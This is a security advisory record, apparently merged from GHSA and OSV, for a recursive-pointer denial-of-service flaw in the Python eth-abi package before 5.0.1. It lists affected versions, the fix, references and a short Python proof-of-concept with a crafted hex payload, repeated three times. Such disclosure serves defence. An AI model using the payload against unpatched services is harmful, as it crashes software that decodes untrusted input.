{"id":"GHSA-3qwc-47jf-5rf7","aliases":[],"status":"published","title":"eth-abi is vulnerable to recursive DoS","description":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1285"],"published":"2024-03-05T14:39:13Z","modified":"2026-09-01T21:30:06Z","fixes":[{"ecosystem":"PyPI","package":"eth-abi","fixed_in":["5.0.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"eth-abi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.0"},{"fixed":"5.0.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"eth-abi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.1"}]}],"versions":["0.5.0","1.0.0","1.0.0b0","1.0.0b1","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.3.0","2.0.0","2.0.0a1","2.0.0b0","2.0.0b1","2.0.0b2","2.0.0b3","2.0.0b4","2.0.0b5","2.0.0b6","2.0.0b7","2.0.0b8","2.0.0b9","2.1.0","2.1.1","2.2.0","3.0.0","3.0.1","4.0.0","4.0.0b1","4.0.0b2","4.0.0b3","4.1.0","4.2.0","4.2.1","5.0.0"]}],"references":[{"url":"https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7","tags":["web"]},{"url":"https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269","tags":["web"]},{"url":"https://github.com/ApeWorX/eth-abi/pull/226","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3qwc-47jf-5rf7"},{"url":"https://github.com/ethereum/eth-abi","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-3qwc-47jf-5rf7","title":"eth-abi is vulnerable to recursive DoS","description":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","status":"published","published":"2024-03-05T14:39:13Z","modified":"2026-09-01T21:16:21Z","cwes":["CWE-1285"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"osv":[{"id":"GHSA-3qwc-47jf-5rf7","title":"eth-abi is vulnerable to recursive DoS","description":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","status":"published","published":"2024-03-05T14:39:13Z","modified":"2026-09-01T21:30:06.284100739Z","cwes":["CWE-1285"],"updated_at":"2026-11-02T15:46:36.092962Z"}]}}
